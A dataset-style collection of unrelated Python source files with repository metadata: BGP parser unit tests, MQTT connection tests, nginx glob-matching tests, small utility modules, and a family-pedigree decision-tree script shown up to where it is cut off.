"holdtime": "0" }, "established-count": "0", "group-flags": "Export Eval", "group-index": "13", "local-as": "65171", "name": "v6_obpGCS001-WC11", "peer-address": [ "2001:db8:eb18:ca45::11" ], "peer-count": "1", "type": "External" } ], "bgp-information": { "bgp-rib": [ { "accepted-prefix-count": "1366", "active-external-prefix-count": "682", "active-internal-prefix-count": "0", "active-prefix-count": "682", "bgp-rib-state": "BGP restart is complete", "name": "inet.0", "received-prefix-count": "1366", "suppressed-external-prefix-count": "0", "suppressed-internal-prefix-count": "0", "suppressed-prefix-count": "0", "total-external-prefix-count": "684", "total-internal-prefix-count": "682" }, { "accepted-prefix-count": "2", "active-external-prefix-count": "2", "active-internal-prefix-count": "0", "active-prefix-count": "2", "bgp-rib-state": "BGP restart is complete", "name": "inet.3", "received-prefix-count": "2", "suppressed-external-prefix-count": "0", "suppressed-internal-prefix-count": "0", "suppressed-prefix-count": "0", "total-external-prefix-count": "2", "total-internal-prefix-count": "0" }, { "accepted-prefix-count": "0", "active-external-prefix-count": "0", "active-internal-prefix-count": "0", "active-prefix-count": "0", "bgp-rib-state": "BGP restart is complete", "name": "inet6.0", "received-prefix-count": "0", "suppressed-external-prefix-count": "0", "suppressed-internal-prefix-count": "0", "suppressed-prefix-count": "0", "total-external-prefix-count": "0", "total-internal-prefix-count": "0" } ], "down-peer-count": "15", "external-peer-count": "6", "flap-count": "359", "group-count": "14", "internal-peer-count": "13", "peer-count": "19" } } } def test_empty(self): self.device = Mock(**self.empty_output) obj = ShowBgpGroupDetail(device=self.device) with self.assertRaises(SchemaEmptyParserError): obj.parse() def test_golden(self): self.device = Mock(**self.golden_output) obj = ShowBgpGroupDetail(device=self.device) parsed_output = obj.parse() self.assertEqual(parsed_output, self.golden_parsed_output) class TestShowBgpGroupSummary(unittest.TestCase): """ Unit tests for: * show bgp group summary | no-more """ maxDiff = None device = Device(name='aDevice') empty_output = {'execute.return_value': ''} # show bgp group summary | no-more golden_output = {'execute.return_value': ''' Group Type Peers Established Active/Received/Accepted/Damped hktGCS002 Internal 1 1 inet.0 : 0/682/682/0 v6_hktGCS002 Internal 1 1 inet6.0 : 0/0/0/0 v4_RRC_72_TRIANGLE Internal 3 0 v6_RRC_72_TRIANGLE Internal 2 0 v6_RRC_72_SQUARE Internal 2 0 v4_RRC_72_SQUARE Internal 2 0 v4_Kentik Internal 1 0 v6_Kentik Internal 1 0 sggjbb001 External 1 0 v6_sggjbb001 External 1 0 sjkGCS001-EC11 External 1 1 inet.0 : 682/684/684/0 inet.3 : 2/2/2/0 v6_sjkGCS001-EC11 External 1 1 inet6.0 : 0/0/0/0 obpGCS001-WC11 External 1 0 v6_obpGCS001-WC11 External 1 0 Groups: 14 Peers: 19 External: 6 Internal: 13 Down peers: 15 Flaps: 359 inet.0 : 682/1366/1366/0 External: 682/684/684/0 Internal: 0/682/682/0 inet.3 : 2/2/2/0 External: 2/2/2/0 Internal: 0/0/0/0 inet6.0 : 0/0/0/0 External: 0/0/0/0 Internal: 0/0/0/0 '''} golden_parsed_output = { "bgp-group-information": { "bgp-group": [ { "bgp-rib": [ { "accepted-prefix-count": "682", "active-prefix-count": "0", "advertised-prefix-count": "0", "name": "inet.0", "received-prefix-count": "682", } ], "established-count": "1", "name": "hktGCS002", "peer-count": "1", "type": "Internal", }, { "bgp-rib": [ { "accepted-prefix-count": "0", "active-prefix-count": "0", "advertised-prefix-count": "0", "name": "inet6.0", "received-prefix-count": "0", } ], "established-count": "1", "name": "v6_hktGCS002", "peer-count": "1", "type": "Internal", }, { "established-count": "0", "name": "v4_RRC_72_TRIANGLE", "peer-count": "3", "type": "Internal", }, { "established-count": "0", "name": "v6_RRC_72_TRIANGLE", "peer-count": "2", "type": "Internal", }, { "established-count": "0", "name": "v6_RRC_72_SQUARE", "peer-count": "2", "type": "Internal", }, { "established-count": "0", "name": "v4_RRC_72_SQUARE", "peer-count": "2", "type": "Internal", }, { "established-count": "0", "name": "v4_Kentik", "peer-count": "1", "type": "Internal", }, { "established-count": "0", "name": "v6_Kentik", "peer-count": "1", "type": "Internal", }, { "established-count": "0", "name": "sggjbb001", "peer-count": "1", "type": "External", }, { "established-count": "0", "name": "v6_sggjbb001", "peer-count": "1", "type": "External", }, { "bgp-rib": [ { "accepted-prefix-count": "684", "active-prefix-count": "682", "advertised-prefix-count": "0", "name": "inet.0", "received-prefix-count": "684", }, { "accepted-prefix-count": "2", "active-prefix-count": "2", "advertised-prefix-count": "0", "name": "inet.3", "received-prefix-count": "2", }, ], "established-count": "1", "name": "sjkGCS001-EC11", "peer-count": "1", "type": "External", }, { "bgp-rib": [ { "accepted-prefix-count": "0", "active-prefix-count": "0", "advertised-prefix-count": "0", "name": "inet6.0", "received-prefix-count": "0", } ], "established-count": "1", "name": "v6_sjkGCS001-EC11", "peer-count": "1", "type": "External", }, { "established-count": "0", "name": "obpGCS001-WC11", "peer-count": "1", "type": "External", }, { "established-count": "0", "name": "v6_obpGCS001-WC11", "peer-count": "1", "type": "External", }, ], "bgp-information": { "bgp-rib": [ { "accepted-external-prefix-count": "684", "accepted-internal-prefix-count": "682", "accepted-prefix-count": "1366", "active-external-prefix-count": "682", "active-internal-prefix-count": "0", "active-prefix-count": "682", "name": "inet.0", "received-prefix-count": "1366", "suppressed-external-prefix-count": "0", "suppressed-internal-prefix-count": "0", "suppressed-prefix-count": "0", "total-external-prefix-count": "684", "total-internal-prefix-count": "682", }, { "accepted-external-prefix-count": "2", "accepted-internal-prefix-count": "0", "accepted-prefix-count": "2", "active-external-prefix-count": "2", "active-internal-prefix-count": "0", "active-prefix-count": "2", "name": "inet.3", "received-prefix-count": "2", "suppressed-external-prefix-count": "0", "suppressed-internal-prefix-count": "0", "suppressed-prefix-count": "0", "total-external-prefix-count": "2", "total-internal-prefix-count": "0", }, { "accepted-external-prefix-count": "0", "accepted-internal-prefix-count": "0", "accepted-prefix-count": "0", "active-external-prefix-count": "0", "active-internal-prefix-count": "0", "active-prefix-count": "0", "name": "inet6.0", "received-prefix-count": "0", "suppressed-external-prefix-count": "0", "suppressed-internal-prefix-count": "0", "suppressed-prefix-count": "0", "total-external-prefix-count": "0", "total-internal-prefix-count": "0", }, ], "down-peer-count": "15", "external-peer-count": "6", "flap-count": "359", "group-count": "14", "internal-peer-count": "13", "peer-count": "19", }, }, } def test_empty(self): self.device = Mock(**self.empty_output) obj = ShowBgpGroupSummary(device=self.device) with self.assertRaises(SchemaEmptyParserError): obj.parse() def test_golden(self): self.device = Mock(**self.golden_output) obj = ShowBgpGroupSummary(device=self.device) parsed_output = obj.parse() self.assertEqual(parsed_output, self.golden_parsed_output) if __name__ == '__main__': unittest.main()

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py

Python

daceml/transformation/__init__.py

manuelburger/daceml

501a05b0531bcf208b43816eeaba998feb83feb5

[ "BSD-3-Clause" ]

null

daceml/transformation/__init__.py

manuelburger/daceml

501a05b0531bcf208b43816eeaba998feb83feb5

[ "BSD-3-Clause" ]

null

daceml/transformation/__init__.py

manuelburger/daceml

501a05b0531bcf208b43816eeaba998feb83feb5

[ "BSD-3-Clause" ]

null

from .constant_folding import ConstantFolding from .parameter_to_transient import parameter_to_transient

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nano/blocks.py

bbedward/nano-python

a996bf5af57ece64c8389fc0b54bafecf045c5f4

[ "MIT" ]

null

nano/blocks.py

bbedward/nano-python

a996bf5af57ece64c8389fc0b54bafecf045c5f4

[ "MIT" ]

null

nano/blocks.py

bbedward/nano-python

a996bf5af57ece64c8389fc0b54bafecf045c5f4

[ "MIT" ]

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2021-09-12T12:32:14.000Z

#: Genesis block hash GENESIS_BLOCK_HASH = '991CF190094C00F0B68E2E5F75F6BEE95A2E0BD93CEAA4A6734DB9F19B728948'

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tests/__init__.py

tinker-coin/tinker-coin

3d599f642f4f49d30ba9bc58316a502e8a325e85

[ "MIT" ]

null

tests/__init__.py

tinker-coin/tinker-coin

3d599f642f4f49d30ba9bc58316a502e8a325e85

[ "MIT" ]

null

tests/__init__.py

tinker-coin/tinker-coin

3d599f642f4f49d30ba9bc58316a502e8a325e85

[ "MIT" ]

null

import os, sys sys.path.append(os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), 'node'))

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Python

tests/mqtt/test_components_mqtt_connection.py

fossabot/snipskit

57fe329bf302f863bf190b2cfe1175e13d1d017e

[ "MIT" ]

12

2019-03-18T13:03:46.000Z

2019-08-14T03:13:32.000Z

tests/mqtt/test_components_mqtt_connection.py

fossabot/snipskit

57fe329bf302f863bf190b2cfe1175e13d1d017e

[ "MIT" ]

4

2019-04-05T07:14:59.000Z

2019-12-06T23:51:31.000Z

tests/mqtt/test_components_mqtt_connection.py

fossabot/snipskit

57fe329bf302f863bf190b2cfe1175e13d1d017e

[ "MIT" ]

4

2019-05-01T07:56:20.000Z

2019-11-17T13:54:59.000Z

"""Tests for the `snipskit.components.MQTTSnipsComponent` class.""" from snipskit.mqtt.components import MQTTSnipsComponent from snipskit.config import SnipsConfig class SimpleMQTTComponent(MQTTSnipsComponent): """A simple Snips component using MQTT directly to test.""" def initialize(self): pass def test_snips_component_mqtt_connection_default(fs, mocker): """Test whether a `MQTTSnipsComponent` object with the default MQTT connection settings connects to the MQTT broker correctly. """ config_file = '/etc/snips.toml' fs.create_file(config_file, contents='[snips-common]\n') mocker.patch('paho.mqtt.client.Client.connect') mocker.patch('paho.mqtt.client.Client.loop_forever') mocker.patch('paho.mqtt.client.Client.tls_set') mocker.patch('paho.mqtt.client.Client.username_pw_set') mocker.patch.object(SimpleMQTTComponent, 'initialize') component = SimpleMQTTComponent() # Check configuration assert component.snips.mqtt.broker_address == 'localhost:1883' # Check MQTT connection assert component.mqtt.username_pw_set.call_count == 0 assert component.mqtt.tls_set.call_count == 0 assert component.mqtt.loop_forever.call_count == 1 component.mqtt.connect.assert_called_once_with('localhost', 1883, 60, '') # Check whether `initialize()` method is called. assert component.initialize.call_count == 1 def test_snips_component_mqtt_with_snips_config(fs, mocker): """Test whether a `MQTTSnipsComponent` object with a `SnipsConfig` object passed to `__init__` uses the connection settings from the specified file. """ config_file = 'snips.toml' fs.create_file(config_file, contents='[snips-common]\n' 'mqtt = "mqtt.example.com:1883"\n') mocker.patch('paho.mqtt.client.Client.connect') mocker.patch('paho.mqtt.client.Client.loop_forever') mocker.patch('paho.mqtt.client.Client.tls_set') mocker.patch('paho.mqtt.client.Client.username_pw_set') mocker.patch.object(SimpleMQTTComponent, 'initialize') snips_config = SnipsConfig(config_file) component = SimpleMQTTComponent(snips_config) # Check configuration assert component.snips == snips_config assert component.snips.mqtt.broker_address == 'mqtt.example.com:1883' # Check MQTT connection assert component.mqtt.username_pw_set.call_count == 0 assert component.mqtt.tls_set.call_count == 0 assert component.mqtt.loop_forever.call_count == 1 component.mqtt.connect.assert_called_once_with('mqtt.example.com', 1883, 60, '') # Check whether `initialize()` method is called. assert component.initialize.call_count == 1 def test_snips_component_mqtt_connection_with_authentication(fs, mocker): """Test whether a `MQTTSnipsComponent` object with MQTT authentication connects to the MQTT broker correctly. """ config_file = '/etc/snips.toml' fs.create_file(config_file, contents='[snips-common]\n' 'mqtt = "mqtt.example.com:8883"\n' 'mqtt_username = "foobar"\n' 'mqtt_password = "secretpassword"\n') mocker.patch('paho.mqtt.client.Client.connect') mocker.patch('paho.mqtt.client.Client.loop_forever') mocker.patch('paho.mqtt.client.Client.tls_set') mocker.patch('paho.mqtt.client.Client.username_pw_set') mocker.patch.object(SimpleMQTTComponent, 'initialize') component = SimpleMQTTComponent() # Check configuration assert component.snips.mqtt.broker_address == 'mqtt.example.com:8883' assert component.snips.mqtt.auth.username == 'foobar' assert component.snips.mqtt.auth.password == 'secretpassword' # Check MQTT connection component.mqtt.username_pw_set.assert_called_once_with('foobar', 'secretpassword') assert component.mqtt.tls_set.call_count == 0 assert component.mqtt.loop_forever.call_count == 1 component.mqtt.connect.assert_called_once_with('mqtt.example.com', 8883, 60, '') # Check whether `initialize()` method is called. assert component.initialize.call_count == 1 def test_snips_component_mqtt_connection_with_tls_and_authentication(fs, mocker): """Test whether a `MQTTSnipsComponent` object with TLS and MQTT authentication connects to the MQTT broker correctly. """ config_file = '/etc/snips.toml' fs.create_file(config_file, contents='[snips-common]\n' 'mqtt = "mqtt.example.com:4883"\n' 'mqtt_username = "foobar"\n' 'mqtt_password = "secretpassword"\n' 'mqtt_tls_hostname="mqtt.example.com"\n' 'mqtt_tls_cafile="/etc/ssl/certs/ca-certificates.crt"\n') mocker.patch('paho.mqtt.client.Client.connect') mocker.patch('paho.mqtt.client.Client.loop_forever') mocker.patch('paho.mqtt.client.Client.tls_set') mocker.patch('paho.mqtt.client.Client.username_pw_set') mocker.patch.object(SimpleMQTTComponent, 'initialize') component = SimpleMQTTComponent() # Check configuration assert component.snips.mqtt.broker_address == 'mqtt.example.com:4883' assert component.snips.mqtt.auth.username == 'foobar' assert component.snips.mqtt.auth.password == 'secretpassword' assert component.snips.mqtt.tls.hostname == 'mqtt.example.com' assert component.snips.mqtt.tls.ca_file == '/etc/ssl/certs/ca-certificates.crt' # Check MQTT connection component.mqtt.username_pw_set.assert_called_once_with('foobar', 'secretpassword') component.mqtt.tls_set.assert_called_once_with(ca_certs='/etc/ssl/certs/ca-certificates.crt', certfile=None, keyfile=None) assert component.mqtt.loop_forever.call_count == 1 component.mqtt.connect.assert_called_once_with('mqtt.example.com', 4883, 60, '') # Check whether `initialize()` method is called. assert component.initialize.call_count == 1

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null

0

1

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null

0

1

0

7

3fa6382fbfb25f246d7abe67f96cb8764bc4d846

4,964

py

Python

functions.py

daleshingles/TheDon

756fe1904e640e1e6b314eb652e2643dd1e59ec8

[ "MIT" ]

3

2019-05-30T19:36:59.000Z

2020-10-10T16:22:05.000Z

functions.py

daleshingles/TheDon

756fe1904e640e1e6b314eb652e2643dd1e59ec8

[ "MIT" ]

1

2019-06-05T18:54:50.000Z

functions.py

daleshingles/TheDon

756fe1904e640e1e6b314eb652e2643dd1e59ec8

[ "MIT" ]

1

2019-05-29T23:47:28.000Z

from pytz import timezone from datetime import date, datetime, time from dateutil import tz, parser import random def to_time(utc_time): ratime = timezone('America/Chicago') localtime = utc_time.astimezone(ratime) return localtime.strftime('%b %d %H:%M') def from_time(ra_time): #ratime = timezone('America/Chicago') utctimezone = timezone('Etc/Greenwich') utctime = ra_time.astimezone(utctimezone) return utctime.strftime('%b %d %H:%M') def my_parser(*args, default_tzinfo=tz.gettz("America/Chicago"), **kwargs): dt = parser.parse(*args, **kwargs) return dt.replace(tzinfo=dt.tzinfo or default_tzinfo) def bart_image(): a = ['https://i.imgur.com/KG9qUYb.png','https://i.imgur.com/WxUtb6T.jpg','https://i.imgur.com/NhprtjJ.jpg','https://i.imgur.com/pXilsu7.jpg','https://i.imgur.com/dYiYiFm.jpg','https://i.imgur.com/uY4M6Mx.jpg','https://i.imgur.com/nuKoOZk.png','https://i.imgur.com/QF70JM8.jpg','https://i.imgur.com/PCmXj8t.jpg','https://i.imgur.com/xVBs8cX.jpg','https://i.imgur.com/FNbeATG.jpg','https://i.imgur.com/Z4ufOZH.jpg','https://i.imgur.com/N385AB7.jpg','https://i.imgur.com/ErvBDk9.jpg','https://i.imgur.com/jeEXih2.jpg','https://i.imgur.com/uc1bBt8.png','https://i.imgur.com/CDB5D4Q.png','https://i.imgur.com/fXkke9G.jpg','https://i.imgur.com/kjqo2gN.jpg','https://i.imgur.com/MAdxt28.jpg','https://i.imgur.com/7l0Ai4T.jpg','https://i.imgur.com/qX4x2aD.jpg','https://i.imgur.com/elzhjLZ.jpg','https://i.imgur.com/vy7GtkY.png','https://i.imgur.com/dWwG2Uk.png','https://i.imgur.com/550oh1c.jpg','https://i.imgur.com/i4TEYNr.jpg','https://i.imgur.com/xijNZRu.jpg','https://i.imgur.com/Y9vOacY.jpg','https://i.imgur.com/yAFC7y6.png','https://i.imgur.com/1MAw2SD.png','https://i.imgur.com/9cMaTmS.jpg','https://i.imgur.com/GwqLVE7.jpg','https://i.imgur.com/ql3td93.jpg','https://i.imgur.com/hy1HLhj.jpg','https://i.imgur.com/VZMxKMk.jpg','https://i.imgur.com/dR1oFsw.jpg','https://i.imgur.com/Z9sz3oJ.jpg','https://i.imgur.com/8oqNp8h.jpg','https://i.imgur.com/GSrSjKj.jpg','https://i.imgur.com/frz0Av5.jpg','https://i.imgur.com/Ctk2owR.jpg','https://i.imgur.com/1Zld9zy.jpg','https://i.imgur.com/rogLdLS.jpg','https://i.imgur.com/cSL9Awz.jpg','https://i.imgur.com/MDO2UwT.jpg','https://i.imgur.com/b42QDdi.jpg','https://i.imgur.com/hCkiHme.png','https://i.imgur.com/P6jrhO6.png','https://i.imgur.com/oHVLwQG.png','https://i.imgur.com/ExY0mb9.png','https://i.imgur.com/Odb8VTK.png','https://i.imgur.com/2nLE8Aa.png','https://i.imgur.com/zlu2371.png','https://i.imgur.com/eH6avqy.png','https://i.imgur.com/vKJ5Jif.png','https://i.imgur.com/g5Le5rK.png','https://i.imgur.com/TKCaAzR.png','https://i.imgur.com/qWcvWLQ.png','https://i.imgur.com/xq8w053.png','https://i.imgur.com/vClvm18.png','https://i.imgur.com/DQAziIi.png','https://i.imgur.com/1RXNvS7.png','https://i.imgur.com/ib1e3f3.png','https://i.imgur.com/DG0tJVx.jpg','https://i.imgur.com/ovTSOfX.jpg','https://i.imgur.com/YzSH3rI.png','https://i.imgur.com/lpr9nbT.jpg','https://i.imgur.com/BUp4xNj.jpg','https://i.imgur.com/QVNAiz5.jpg','https://i.imgur.com/zee3vTs.jpg','https://i.imgur.com/Z6jQq4G.jpg','https://i.imgur.com/yVI6beX.jpg','https://i.imgur.com/cmLarXA.jpg','https://i.imgur.com/U9F7j9f.jpg','https://i.imgur.com/2bjkZe0.jpg','https://i.imgur.com/21fGrWZ.jpg','https://i.imgur.com/jlSWrSl.jpg','https://i.imgur.com/GMfVRic.jpg','https://i.imgur.com/zraoFoD.jpg','https://i.imgur.com/0cuwASi.jpg','https://i.imgur.com/0HUsG7K.jpg','https://i.imgur.com/DrRZ87g.jpg','https://i.imgur.com/jP2LbJl.jpg','https://i.imgur.com/RGqjy9b.jpg','https://i.imgur.com/6918pkd.jpg','https://i.imgur.com/TeaU24j.jpg','https://i.imgur.com/G2vg77A.jpg','https://i.imgur.com/Kzze4Lf.jpg','https://i.imgur.com/UgVeCrN.jpg','https://i.imgur.com/TvsEdkG.jpg','https://i.imgur.com/05QmS3w.jpg','https://i.imgur.com/HgxVnyT.jpg','https://i.imgur.com/JjgFOKk.jpg','https://i.imgur.com/EPKSrod.jpg','https://i.imgur.com/7ehcrt6.jpg','https://i.imgur.com/1U6GHUW.jpg','https://i.imgur.com/MKATl6d.jpg','https://i.imgur.com/q9RlBek.jpg','https://i.imgur.com/fTviVXd.jpg','https://i.imgur.com/2csk6ni.jpg','https://i.imgur.com/LOmYAFe.jpg','https://i.imgur.com/G0JRlcM.jpg','https://i.imgur.com/UuotaSZ.jpg','https://i.imgur.com/5xyw7dm.jpg','https://i.imgur.com/KOXUDbH.jpg'] random.shuffle(a) return a[0] def random_team(): a = ["Atlanta Braves","Miami Marlins","New York Mets","Philadelphia Phillies","Washington Nationals","Chicago Cubs","Cincinnati Reds","Milwaukee Brewers","Pittsburgh Pirates","St.Louis Cardinals","Arizona Diamondbacks","Colorado Rockies","Los Angeles Dodgers","San Diego Padres","San Francisco Giants","Baltimore Orioles","Boston Red Sox","New York Yankees","Tampa Bay Rays","Toronto Blue Jays","Chicago White Sox","Cleveland Indians","Detroit Tigers","Kansas City Royals","Minnesota Twins","Houston Astros","Los Angeles Angels","Oakland Athletics","Seattle Mariners","Texas Rangers"] return a[hash(str(date)) % len(a)]

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null

0

1

0

1

0

7

3fbd51088d4d5c63c30c64e0ce56608253c047ba

91

py

Python

tests/resources/test_cases/union_fun.py

dertilo/coding

9b827f2b02900f1d8e080fbde4cdb08a365572e7

[ "MIT" ]

null

tests/resources/test_cases/union_fun.py

dertilo/coding

9b827f2b02900f1d8e080fbde4cdb08a365572e7

[ "MIT" ]

null

tests/resources/test_cases/union_fun.py

dertilo/coding

9b827f2b02900f1d8e080fbde4cdb08a365572e7

[ "MIT" ]

null

def union_fun(x): return x def main(): s = union_fun("foo") s = union_fun(1)

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0.285714

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1

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null

0

1

0

1

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7

3fd3a7eeb9e8f16e46b3a60f2eaaa26a210f8981

59

py

Python

web_website/tests/__init__.py

agenterpgmbh/misc-addons

27e36d119b1e73089a2ebfcd8d4cfc706c8f1f41

[ "MIT" ]

null

web_website/tests/__init__.py

agenterpgmbh/misc-addons

27e36d119b1e73089a2ebfcd8d4cfc706c8f1f41

[ "MIT" ]

1

2020-05-03T04:27:29.000Z

web_website/tests/__init__.py

eneldoserrata/misc-addons

6f3b94d8a71d603d9ad449f96edfc66385e78080

[ "MIT" ]

2

2020-05-09T02:08:59.000Z

2022-03-21T06:37:15.000Z

from . import test_website_dependent from . import test_ui

19.666667

36

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5.111111

0.666667

0.434783

0.608696

0

0.135593

59

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true

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null

0

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0

1

0

1

0

7

3fd7dd43357f26fb6978a0868c30ecee48376692

5,664

py

Python

test/unit/agent/common/util/glib.py

dp92987/nginx-amplify-agent

1b2eed6eab52a82f35974928d75044451b4bedaf

[ "BSD-2-Clause" ]

308

2015-11-17T13:15:33.000Z

2022-03-24T12:03:40.000Z

test/unit/agent/common/util/glib.py

dp92987/nginx-amplify-agent

1b2eed6eab52a82f35974928d75044451b4bedaf

[ "BSD-2-Clause" ]

211

2015-11-16T15:27:41.000Z

2022-03-28T16:20:15.000Z

test/unit/agent/common/util/glib.py

dp92987/nginx-amplify-agent

1b2eed6eab52a82f35974928d75044451b4bedaf

[ "BSD-2-Clause" ]

80

2015-11-16T18:20:30.000Z

2022-03-02T12:47:56.000Z

# -*- coding: utf-8 -*- from hamcrest import * from test.base import BaseTestCase import amplify.agent.common.util.glib as glib __author__ = "Grant Hulegaard" __copyright__ = "Copyright (C) Nginx, Inc. All rights reserved." __license__ = "" __maintainer__ = "Grant Hulegaard" __email__ = "grant.hulegaard@nginx.com" class GlibTestCase(BaseTestCase): def test_overall(self): excludes = [ 'access-frontend-*.log', 'receiver1-*.log', 'frontend2.log', '/var/log/nginx/frontend/*', '/var/log/naas/' ] file_paths = [ '/var/log/nginx/frontend/asdf.log', # exclude 4 '/var/log/nginx/frontend/frontend3.log', # exclude 4 '/var/log/blank.log', '/var/log/frontend2.log', # exclude 3 '/var/receiver1-2012.log', # exclude 2 '/var/log/naas/blah.log', # exclude 5 'access-frontend-asf.log' # exclude 1 ] results = file_paths for exclude_pathname in excludes: for match in glib.glib(file_paths, exclude_pathname): results.remove(match) assert_that(results, has_length(1)) assert_that(results[0], equal_to('/var/log/blank.log')) def test_more(self): pattern = '/etc/nginx/*.conf' file_paths = [ '/etc/nginx/nginx.conf', '/etc/nginx/bir/aaa/subdir/host.conf', '/etc/nginx/conf.d/blockips.conf', '/etc/nginx/conf.d/default.conf', '/etc/nginx/conf.d/default.conf.bak', '/etc/nginx/conf.d/host.conf', '/etc/nginx/conf.d/proxy.conf', '/etc/nginx/conf.d/ssl.conf', '/etc/nginx/conf.d/servers/bamboo_server.conf', '/etc/nginx/conf.d/servers/dev1_server.conf', '/etc/nginx/conf.d/servers/dev1db00_server.conf', '/etc/nginx/conf.d/servers/docker_build_server.conf', '/etc/nginx/conf.d/servers/docker_registry_server.conf', '/etc/nginx/conf.d/servers/eurotax_proxy.conf', '/etc/nginx/conf.d/servers/int01_server.conf', '/etc/nginx/conf.d/servers/int01db00_server.conf', '/etc/nginx/conf.d/servers/nexus_server.conf', '/etc/nginx/conf.d/servers/soft2run_server.conf', '/etc/nginx/conf.d/servers/spearhead_server.conf', '/etc/nginx/conf.d/servers/toolsdb_server.conf', '/etc/nginx/conf.d/servers/webcache_server.conf.bak', '/etc/nginx/conf.d/servers/webcache_server_working.conf', '/etc/nginx/conf.d/tcp_streams/iboxdb_server.conf', '/etc/nginx/ssl/soft2run_ssl_cert.conf', '/etc/nginx/ssl/sph_ssl_cert.conf' ] results = glib.glib(file_paths, pattern) assert_that(results, has_length(1)) assert_that(results[0], equal_to('/etc/nginx/nginx.conf')) def test_more_directories(self): pattern = '/etc/nginx/conf.d/*/*.conf' file_paths = [ '/etc/nginx/nginx.conf', '/etc/nginx/bir/aaa/subdir/host.conf', '/etc/nginx/conf.d/blockips.conf', '/etc/nginx/conf.d/default.conf', '/etc/nginx/conf.d/default.conf.bak', '/etc/nginx/conf.d/host.conf', '/etc/nginx/conf.d/proxy.conf', '/etc/nginx/conf.d/ssl.conf', '/etc/nginx/conf.d/servers/bamboo_server.conf', '/etc/nginx/conf.d/servers/dev1_server.conf', '/etc/nginx/conf.d/servers/dev1db00_server.conf', '/etc/nginx/conf.d/servers/docker_build_server.conf', '/etc/nginx/conf.d/servers/docker_registry_server.conf', '/etc/nginx/conf.d/servers/eurotax_proxy.conf', '/etc/nginx/conf.d/servers/int01_server.conf', '/etc/nginx/conf.d/servers/int01db00_server.conf', '/etc/nginx/conf.d/servers/nexus_server.conf', '/etc/nginx/conf.d/servers/soft2run_server.conf', '/etc/nginx/conf.d/servers/spearhead_server.conf', '/etc/nginx/conf.d/servers/toolsdb_server.conf', '/etc/nginx/conf.d/servers/webcache_server.conf.bak', '/etc/nginx/conf.d/servers/webcache_server_working.conf', '/etc/nginx/conf.d/tcp_streams/iboxdb_server.conf', '/etc/nginx/ssl/soft2run_ssl_cert.conf', '/etc/nginx/ssl/sph_ssl_cert.conf' ] results = glib.glib(file_paths, pattern) assert_that(results, has_length(15)) matches = [ '/etc/nginx/conf.d/servers/bamboo_server.conf', '/etc/nginx/conf.d/servers/dev1_server.conf', '/etc/nginx/conf.d/servers/dev1db00_server.conf', '/etc/nginx/conf.d/servers/docker_build_server.conf', '/etc/nginx/conf.d/servers/docker_registry_server.conf', '/etc/nginx/conf.d/servers/eurotax_proxy.conf', '/etc/nginx/conf.d/servers/int01_server.conf', '/etc/nginx/conf.d/servers/int01db00_server.conf', '/etc/nginx/conf.d/servers/nexus_server.conf', '/etc/nginx/conf.d/servers/soft2run_server.conf', '/etc/nginx/conf.d/servers/spearhead_server.conf', '/etc/nginx/conf.d/servers/toolsdb_server.conf', '/etc/nginx/conf.d/servers/webcache_server.conf.bak', '/etc/nginx/conf.d/servers/webcache_server_working.conf', '/etc/nginx/conf.d/tcp_streams/iboxdb_server.conf' ] for result in results: assert_that(result, any_of(*matches)) # TODO: Add more tests for individual instances and edge cases.

41.647059

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0.229319

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5,664

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0

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0

1

0

1

null

0

8

b7739416d6abe02092e5d04875f0a01a8c7cb6af

38,076

py

Python

Source/decisionTreeV7.py

xiayuan-huang/E-pedigrees

5b49cbeabf60432abb037b0a33780f9c486ec84c

[ "MIT" ]

null

Source/decisionTreeV7.py

xiayuan-huang/E-pedigrees

5b49cbeabf60432abb037b0a33780f9c486ec84c

[ "MIT" ]

null

Source/decisionTreeV7.py

xiayuan-huang/E-pedigrees

5b49cbeabf60432abb037b0a33780f9c486ec84c

[ "MIT" ]

null

''' @author: xiayuanhuang ''' ''' debugging child's age larger than parents'age ''' import readDataV2 import datetime class DT(object): def __init__(self, addressFile, nameFile, demoFile, accountFile): d = readDataV2.ReadData() d.readAddress(addressFile) d.readName(nameFile) d.readDemo(demoFile) d.readAccount(accountFile) # d.readAddress('/Users/xiayuanhuang/documents/project/address_deid.csv') # d.readName('/Users/xiayuanhuang/documents/project/name_deid.csv') # d.readDemo('/Users/xiayuanhuang/documents/project/demo_deid.csv') # d.readAccount('/Users/xiayuanhuang/documents/project/account_deid.csv') # d.readAddress('test_address.txt') # d.readName('test_name.txt') # d.readDemo('test_demo.txt') # d.readAccount('test_account.txt') self.data = d.data self.data2 = d.data2 self.data3 = d.data3 self.data4 = d.data4 self.address = d.address self.lastName = d.lastName self.gender = d.gender self.age = d.age self.dob = d.dob self.dateOfDeceased = d.dateOfDeceased self.accountToID = d.accountToID self.account = d.account self.phone = d.phone def predict(self): self.p_c = [] for i in self.address: if len(self.address[i]) > 1: IDs= list(set(self.address[i])) #print(adds) self.relation(i, IDs) def relation(self, adds, ids): num = len(ids) for i in range(num-1): if ids[i] not in self.gender: continue for j in range(i+1, num): id1 = ids[i] id2 = ids[j] if id2 not in self.gender: continue #print(num, ids, id1, id2) for year_range_id1 in self.data[id1][adds]: for year_range_id2 in self.data[id2][adds]: y1 = year_range_id1[0] y2 = year_range_id1[1] y3 = year_range_id2[0] y4 = year_range_id2[1] if y1 =='': y1 = 0 else: y1 = int(y1) if y2 =='': y2 = datetime.datetime.now().year else: y2 = int(y2) if y3 == '': y3 = 0 else: y3 = int(y3) if y4 == '': y4 = datetime.datetime.now().year else: y4 = int(y4) a = range(y1, y2+1) b = range(y3, y4+1) if self.age[id1] == '' or self.age[id2] == '': break if len(set(a).intersection(set(b)))>=3: names1 = list(self.lastName[id1].keys()) names2 = list(self.lastName[id2].keys()) intername = list(set(names1).intersection(set(names2))) if len(intername) == 0: break else: nameOverlap = False for na in intername: for period_name_id1 in self.lastName[id1][na]: for period_name_id2 in self.lastName[id2][na]: newy1 = period_name_id1[0] newy2 = period_name_id1[1] newy3 = period_name_id2[0] newy4 = period_name_id2[1] if newy1 == '': newy1 = 0 else: newy1 = int(newy1) if newy2 == '': newy2 = datetime.datetime.now().year else: newy2 = int(newy2) if newy3 == '': newy3 = 0 else: newy3 = int(newy3) if newy4 == '': newy4 = datetime.datetime.now().year else: newy4 = int(newy4) newa = range(newy1, newy2+1) newb = range(newy3, newy4+1) if len(set(newa).intersection(set(newb)))>=3: nameOverlap = True break else: continue else: continue break if nameOverlap: if 18<=abs(int(self.dob[id1])-int(self.dob[id2])) and abs(int(self.dob[id1])-int(self.dob[id2]))<=45: # make sure parent's deceased date is later than child's date of birth if int(self.dob[id1]) < 